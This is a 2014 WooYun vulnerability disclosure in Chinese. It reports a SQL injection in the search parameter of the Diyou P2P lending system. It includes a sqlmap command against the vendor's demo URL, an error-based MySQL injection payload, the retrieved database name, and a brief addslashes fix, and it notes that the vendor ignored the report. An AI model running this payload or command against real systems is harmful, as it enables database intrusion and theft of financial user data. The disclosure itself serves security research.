当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064035

漏洞标题:帝友P2P借贷系统搜索型SQL注入

相关厂商:厦门帝网信息科技有限公司

漏洞作者: xlz0iza1

提交时间:2014-06-08 12:01

修复时间:2014-09-03 12:02

公开时间:2014-09-03 12:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-08: 细节已通知厂商并且等待厂商处理中
2014-06-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-08-07: 细节向核心白帽子及相关领域专家公开
2014-08-17: 细节向普通白帽子公开
2014-08-27: 细节向实习白帽子公开
2014-09-03: 细节向公众公开

简要描述:

RT

详细说明:

标题上面说是v3.1版本,具体是什么版本,亲~您懂的。

http://v31.diyou.cc/transfer_success/index.html?keywords=1&borrow_type=&account_status=&borrow_interestrate=&spread_month=


注入点keywords
直接带入数据库中查询/

C:\Python27\sqlmap>sqlmap.py -u "http://v31.diyou.cc/transfer_success/index.html
?keywords=1&borrow_type=&account_status=&borrow_interestrate=&spread_month=" --b
atch -p "keywords" -v 2 --current-db
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 12:03:53
[12:03:53] [DEBUG] cleaning up configuration parameters
[12:03:53] [DEBUG] setting the HTTP timeout
[12:03:53] [DEBUG] setting the HTTP method to GET
[12:03:53] [DEBUG] creating HTTP requests opener object
[12:03:53] [INFO] using 'C:\Python27\sqlmap\output\v31.diyou.cc\session' as sess
ion file
[12:03:53] [INFO] resuming injection data from session file
[12:03:53] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[12:03:53] [INFO] testing connection to the target url
[12:03:54] [WARNING] the testable parameter 'keywords' you provided is not into
the Cookie
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: keywords
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: keywords=1' AND (SELECT 7351 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99
,104,116,58),(SELECT (CASE WHEN (7351=7351) THEN 1 ELSE 0 END)),CHAR(58,120,112,
99,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'iLHc
'='iLHc&borrow_type=&account_status=&borrow_interestrate=&spread_month=
---
[12:03:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing
squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[12:03:54] [INFO] fetching current database
[12:03:54] [INFO] retrieved: 131209_v31diyou
[12:03:54] [DEBUG] performed 1 queries in 0 seconds
current database: '131209_v31diyou'
[12:03:54] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\v31.diyou.cc'
[*] shutting down at: 12:03:54

漏洞证明:

1%27带入查询,数据库报错。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6执行SQL语句错误!select count(1) as num from `deayou_borrow_change` as p1 left join`deayou_borrow_tender` as p2 on p1.tender_id=p2.id left join `deayou_users` as p3 on p2.user_id=p3.user_id left join `deayou_borrow` as p4 on p2.borrow_nid=p4.borrow_nid left join `deayou_users` as p6 on p4.user_id=p6.user_id left join `deayou_users` as p5 on p1.buy_userid=p5.user_id where 1=1 and p1.status in (1) and p4.name like '%1'%'


QQ图片20140608120700.jpg


QQ图片20140608120704.jpg


修复方案:

过滤addslashes,可以参考原来dedecms那个搜索型修补。

版权声明:转载请注明来源 xlz0iza1@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-03 12:02

厂商回复:

最新状态:

暂无